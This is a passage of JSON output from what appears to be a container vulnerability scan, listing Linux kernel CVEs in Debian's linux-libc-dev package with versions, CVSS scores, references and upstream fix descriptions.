"https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-43038" ], "PublishedDate": "2026-05-01T15:16:48.533Z", "LastModifiedDate": "2026-10-19T20:18:02.21Z" }, { "VulnerabilityID": "CVE-2026-43040", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43040", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ea10abf8ba03982d210de00a2edbc3bc4c1fe9a9cbfc2cbed60f4b323ffe4c5f", "Title": "kernel: net: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: ndisc: fix ndisc_ra_useropt to initialize nduseropt_padX fields to zero to prevent an info-leak\n\nWhen processing Router Advertisements with user options the kernel\nbuilds an RTM_NEWNDUSEROPT netlink message. The nduseroptmsg struct\nhas three padding fields that are never zeroed and can leak kernel data\n\nThe fix is simple, just zeroes the padding fields.", "Severity": "HIGH", "CweIDs": [ "CWE-909" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43040", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/ae05340ccaa9d347fe85415609e075545bec589f%20%287.0-rc7%29", "https://git.kernel.org/stable/c/11d7fe97421cfc81549940c20ed5ac9472d6db05", "https://git.kernel.org/stable/c/1da9023f6b071a38e5430ffbce4b70b2b1ac4f9c", "https://git.kernel.org/stable/c/2fe4d0ba690a69ad6ae9f7ab9bdc96e02610b648", "https://git.kernel.org/stable/c/4f810c686fde509d1cdaa706322d9d2531f8f1a4", "https://git.kernel.org/stable/c/7f56d87e527bb5a13c3e8b0d5840cb6332822f6d", "https://git.kernel.org/stable/c/ae05340ccaa9d347fe85415609e075545bec589f", "https://git.kernel.org/stable/c/b485eef3d97b7aae55ce669b6de555ec81f3d21c", "https://git.kernel.org/stable/c/ef3645606e4a635d5062a492f22b7f490852ee67", "https://linux.oracle.com/cve/CVE-2026-43040.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050103-CVE-2026-43040-8fa0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43040", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43040" ], "PublishedDate": "2026-05-01T15:16:50.13Z", "LastModifiedDate": "2026-11-06T16:18:18.413Z" }, { "VulnerabilityID": "CVE-2026-43049", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43049", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:99369021da7113c508b84d335be45bb1ddef3cc922b0ea7d2b3b93dc467fba46", "Title": "kernel: HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure\n\nPresently, if the force feedback initialisation fails when probing the\nLogitech G920 Driving Force Racing Wheel for Xbox One, an error number\nwill be returned and propagated before the userspace infrastructure\n(sysfs and /dev/input) has been torn down. If userspace ignores the\nerrors and continues to use its references to these dangling entities, a\nUAF will promptly follow.\n\nWe have 2 options; continue to return the error, but ensure that all of\nthe infrastructure is torn down accordingly or continue to treat this\ncondition as a warning by emitting the message but returning success.\nIt is thought that the original author's intention was to emit the\nwarning but keep the device functional, less the force feedback feature,\nso let's go with that.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43049", "https://git.kernel.org/linus/f7a4c78bfeb320299c1b641500fe7761eadbd101%20%287.0-rc5%29", "https://git.kernel.org/stable/c/222bcf7b02899250b20a7a02d29b4e89fe537322", "https://git.kernel.org/stable/c/772f99cc8d6e5d95613bce93c9624e154c1abe88", "https://git.kernel.org/stable/c/9a793ac19eb84f44ed759c0fce80cf29bc2a2453", "https://git.kernel.org/stable/c/b846fb0a73e99174f08238e083e284c0463a2102", "https://git.kernel.org/stable/c/df966f0def87550bd81d0892cdff992202de2712", "https://git.kernel.org/stable/c/f7a4c78bfeb320299c1b641500fe7761eadbd101", "https://linux.oracle.com/cve/CVE-2026-43049.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050106-CVE-2026-43049-224e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43049", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-43049" ], "PublishedDate": "2026-05-01T15:16:51.297Z", "LastModifiedDate": "2026-11-06T16:18:19.03Z" }, { "VulnerabilityID": "CVE-2026-43050", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43050", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f3fe55468f4cc15a87676e9aed0ccaa9e98da88e92559775368add259ceff4e2", "Title": "kernel: atm: lec: fix use-after-free in sock_def_readable()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\natm: lec: fix use-after-free in sock_def_readable()\n\nA race condition exists between lec_atm_close() setting priv-\u003elecd\nto NULL and concurrent access to priv-\u003elecd in send_to_lecd(),\nlec_handle_bridge(), and lec_atm_send(). When the socket is freed\nvia RCU while another thread is still using it, a use-after-free\noccurs in sock_def_readable() when accessing the socket's wait queue.\n\nThe root cause is that lec_atm_close() clears priv-\u003elecd without\nany synchronization, while callers dereference priv-\u003elecd without\nany protection against concurrent teardown.\n\nFix this by converting priv-\u003elecd to an RCU-protected pointer:\n- Mark priv-\u003elecd as __rcu in lec.h\n- Use rcu_assign_pointer() in lec_atm_close() and lecd_attach()\n for safe pointer assignment\n- Use rcu_access_pointer() for NULL checks that do not dereference\n the pointer in lec_start_xmit(), lec_push(), send_to_lecd() and\n lecd_attach()\n- Use rcu_read_lock/rcu_dereference/rcu_read_unlock in send_to_lecd(),\n lec_handle_bridge() and lec_atm_send() to safely access lecd\n- Use rcu_assign_pointer() followed by synchronize_rcu() in\n lec_atm_close() to ensure all readers have completed before\n proceeding. This is safe since lec_atm_close() is called from\n vcc_release() which holds lock_sock(), a sleeping lock.\n- Remove the manual sk_receive_queue drain from lec_atm_close()\n since vcc_destroy_socket() already drains it after lec_atm_close()\n returns.\n\nv2: Switch from spinlock + sock_hold/put approach to RCU to properly\n fix the race. The v1 spinlock approach had two issues pointed out\n by Eric Dumazet:\n 1. priv-\u003elecd was still accessed directly after releasing the\n lock instead of using a local copy.\n 2. The spinlock did not prevent packets being queued after\n lec_atm_close() drains sk_receive_queue since timer and\n workqueue paths bypass netif_stop_queue().\n\nNote: Syzbot patch testing was attempted but the test VM terminated\n unexpectedly with \"Connection to localhost closed by remote host\",\n likely due to a QEMU AHCI emulation issue unrelated to this fix.\n Compile testing with \"make W=1 net/atm/lec.o\" passes cleanly.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43050", "https://git.kernel.org/linus/922814879542c2e397b0e9641fd36b8202a8e555%20%287.0-rc5%29", "https://git.kernel.org/stable/c/317843d5355062020649124eb4a0d7acbcc3f53e", "https://git.kernel.org/stable/c/3989740fa4978e1d2d51ecc62be1b01093e104ad", "https://git.kernel.org/stable/c/3e8b25f32f2f35549d03d77da030a24a45bdef5b", "https://git.kernel.org/stable/c/5fbbb1ff936d7ff9528d929c1549977e8123d8a8", "https://git.kernel.org/stable/c/750a33f417f3d196b86375f8d9f8938bacf130fe", "https://git.kernel.org/stable/c/922814879542c2e397b0e9641fd36b8202a8e555", "https://git.kernel.org/stable/c/abc10f85a3965ac14b9ed7ad3e67b35604a63aa3", "https://git.kernel.org/stable/c/b256d055da47258e63f8b40965f276c5f23d229a", "https://linux.oracle.com/cve/CVE-2026-43050.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050106-CVE-2026-43050-1cd2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43050", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43050" ], "PublishedDate": "2026-05-01T15:16:51.403Z", "LastModifiedDate": "2026-11-06T16:18:19.21Z" }, { "VulnerabilityID": "CVE-2026-43052", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43052", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d0e772974a018074a7cebf4cf511499c750c3925c376bdbb9ba60edfee00a48a", "Title": "kernel: wifi: mac80211: check tdls flag in ieee80211_tdls_oper", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: check tdls flag in ieee80211_tdls_oper\n\nWhen NL80211_TDLS_ENABLE_LINK is called, the code only checks if the\nstation exists but not whether it is actually a TDLS station. This\nallows the operation to proceed for non-TDLS stations, causing\nunintended side effects like modifying channel context and HT\nprotection before failing.\n\nAdd a check for sta-\u003esta.tdls early in the ENABLE_LINK case, before\nany side effects occur, to ensure the operation is only allowed for\nactual TDLS peers.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43052", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/7d73872d949c488a1d7c308031d6a9d89b5e0a8b%20%287.0-rc5%29", "https://git.kernel.org/stable/c/44839ea7e96b3659a1606f3d5267063135479b7c", "https://git.kernel.org/stable/c/6813a8b1b240756dad4375f3e020ce10e4e3871b", "https://git.kernel.org/stable/c/7d73872d949c488a1d7c308031d6a9d89b5e0a8b", "https://git.kernel.org/stable/c/8148c2fda4ebb17104a573649c9b699208ad10ee", "https://git.kernel.org/stable/c/ba5b43db126a5e7378553869e3f7954d9187349f", "https://git.kernel.org/stable/c/be81f17151fcb8546a95f35ca8f4231b065985de", "https://git.kernel.org/stable/c/e602246235fc2ef06c39b2e9cf147d84d0896b73", "https://git.kernel.org/stable/c/e77b2937aaa20264e4bd699d3244bdb50e7e3343", "https://linux.oracle.com/cve/CVE-2026-43052.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050107-CVE-2026-43052-10fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43052", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43052" ], "PublishedDate": "2026-05-01T15:16:51.67Z", "LastModifiedDate": "2026-11-06T16:18:19.413Z" }, { "VulnerabilityID": "CVE-2026-43112", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43112", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fa37c67a6302583130acf52509cb14caf1ed2e9e446efb579a12f059aaea626f", "Title": "kernel: fs/smb/client: fix out-of-bounds read in cifs_sanitize_prepath", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/smb/client: fix out-of-bounds read in cifs_sanitize_prepath\n\nWhen cifs_sanitize_prepath is called with an empty string or a string\ncontaining only delimiters (e.g., \"/\"), the current logic attempts to\ncheck *(cursor2 - 1) before cursor2 has advanced. This results in an\nout-of-bounds read.\n\nThis patch adds an early exit check after stripping prepended\ndelimiters. If no path content remains, the function returns NULL.\n\nThe bug was identified via manual audit and verified using a\nstandalone test case compiled with AddressSanitizer, which\ntriggered a SEGV on affected inputs.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34911", "https://access.redhat.com/errata/RHSA-2026:36018", "https://access.redhat.com/errata/RHSA-2026:36365", "https://access.redhat.com/errata/RHSA-2026:36366", "https://access.redhat.com/errata/RHSA-2026:40764", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:53989", "https://access.redhat.com/errata/RHSA-2026:53990", "https://access.redhat.com/errata/RHSA-2026:56573", "https://access.redhat.com/errata/RHSA-2026:57402", "https://access.redhat.com/errata/RHSA-2026:57457", "https://access.redhat.com/errata/RHSA-2026:57543", "https://access.redhat.com/errata/RHSA-2026:59662", "https://access.redhat.com/errata/RHSA-2026:59663", "https://access.redhat.com/errata/RHSA-2026:59831", "https://access.redhat.com/errata/RHSA-2026:60019", "https://access.redhat.com/errata/RHSA-2026:62409", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:62558", "https://access.redhat.com/errata/RHSA-2026:62637", "https://access.redhat.com/errata/RHSA-2026:62638", "https://access.redhat.com/errata/RHSA-2026:62639", "https://access.redhat.com/errata/RHSA-2026:62640", "https://access.redhat.com/errata/RHSA-2026:62641", "https://access.redhat.com/errata/RHSA-2026:62642", "https://access.redhat.com/errata/RHSA-2026:65839", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/security/cve/CVE-2026-43112", "https://bugzilla.redhat.com/2467015", "https://bugzilla.redhat.com/2467113", "https://bugzilla.redhat.com/2479832", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2482564", "https://bugzilla.redhat.com/2482636", "https://bugzilla.redhat.com/2482660", "https://bugzilla.redhat.com/2484451", "https://bugzilla.redhat.com/2484477", "https://bugzilla.redhat.com/2486958", "https://bugzilla.redhat.com/2486982", "https://bugzilla.redhat.com/show_bug.cgi?id=2467015", "https://bugzilla.redhat.com/show_bug.cgi?id=2467113", "https://bugzilla.redhat.com/show_bug.cgi?id=2479832", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2482564", "https://bugzilla.redhat.com/show_bug.cgi?id=2482636", "https://bugzilla.redhat.com/show_bug.cgi?id=2482660", "https://bugzilla.redhat.com/show_bug.cgi?id=2484451", "https://bugzilla.redhat.com/show_bug.cgi?id=2484477", "https://bugzilla.redhat.com/show_bug.cgi?id=2486958", "https://bugzilla.redhat.com/show_bug.cgi?id=2486982", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-10263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43112", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46244", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46316", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46323", "https://errata.almalinux.org/9/ALSA-2026-36018.html", "https://errata.rockylinux.org/RLSA-2026:36018", "https://git.kernel.org/linus/78ec5bf2f589ec7fd8f169394bfeca541b077317%20%287.0-rc7%29", "https://git.kernel.org/stable/c/2d29214448ec0f4e7e18bb1c14dd4a6c07f1c439", "https://git.kernel.org/stable/c/49b1ce6d7cfb6c5a49f68bf5ccfcfb6ba14e63c3", "https://git.kernel.org/stable/c/5d4fe469fe7dbff7d874c196bb680a82f2625d95", "https://git.kernel.org/stable/c/78ec5bf2f589ec7fd8f169394bfeca541b077317", "https://git.kernel.org/stable/c/86f9c23e0814cfdffda9eedf0c591c51ba209010", "https://git.kernel.org/stable/c/a2ba20c17de8eb028f96b1d85f119d3d25655bd9", "https://git.kernel.org/stable/c/fbced33599653471b4581dfe1abc7b467031f126", "https://linux.oracle.com/cve/CVE-2026-43112.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050625-CVE-2026-43112-f37f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43112", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43112.json", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43112" ], "PublishedDate": "2026-05-06T10:16:24.927Z", "LastModifiedDate": "2026-10-19T20:18:05.913Z" }, { "VulnerabilityID": "CVE-2026-43114", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43114", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd397d0ab8416790af57618e850c177a0c8f46c7e5d9d2eb021b1272dce34b33", "Title": "kernel: netfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry\n\nNew test case fails unexpectedly when avx2 matching functions are used.\n\nThe test first loads a ranomly generated pipapo set\nwith 'ipv4 . port' key, i.e. nft -f foo.\n\nThis works. Then, it reloads the set after a flush:\n(echo flush set t s; cat foo) | nft -f -\n\nThis is expected to work, because its the same set after all and it was\nalready loaded once.\n\nBut with avx2, this fails: nft reports a clashing element.\n\nThe reported clash is of following form:\n\n We successfully re-inserted\n a . b\n c . d\n\nThen we try to insert a . d\n\navx2 finds the already existing a . d, which (due to 'flush set') is marked\nas invalid in the new generation. It skips the element and moves to next.\n\nDue to incorrect masking, the skip-step finds the next matching\nelement *only considering the first field*,\n\ni.e. we return the already reinserted \"a . b\", even though the\nlast field is different and the entry should not have been matched.\n\nNo such error is reported for the generic c implementation (no avx2) or when\nthe last field has to use the 'nft_pipapo_avx2_lookup_slow' fallback.\n\nBisection points to\n7711f4bb4b36 (\"netfilter: nft_set_pipapo: fix range overlap detection\")\nbut that fix merely uncovers this bug.\n\nBefore this commit, the wrong element is returned, but erronously\nreported as a full, identical duplicate.\n\nThe root-cause is too early return in the avx2 match functions.\nWhen we process the last field, we should continue to process data\nuntil the entire input size has been consumed to make sure no stale\nbits remain in the map.", "Severity": "HIGH", "CweIDs": [ "CWE-20", "CWE-480" ], "VendorSeverity": { "alma": 3, "amazon": 3, 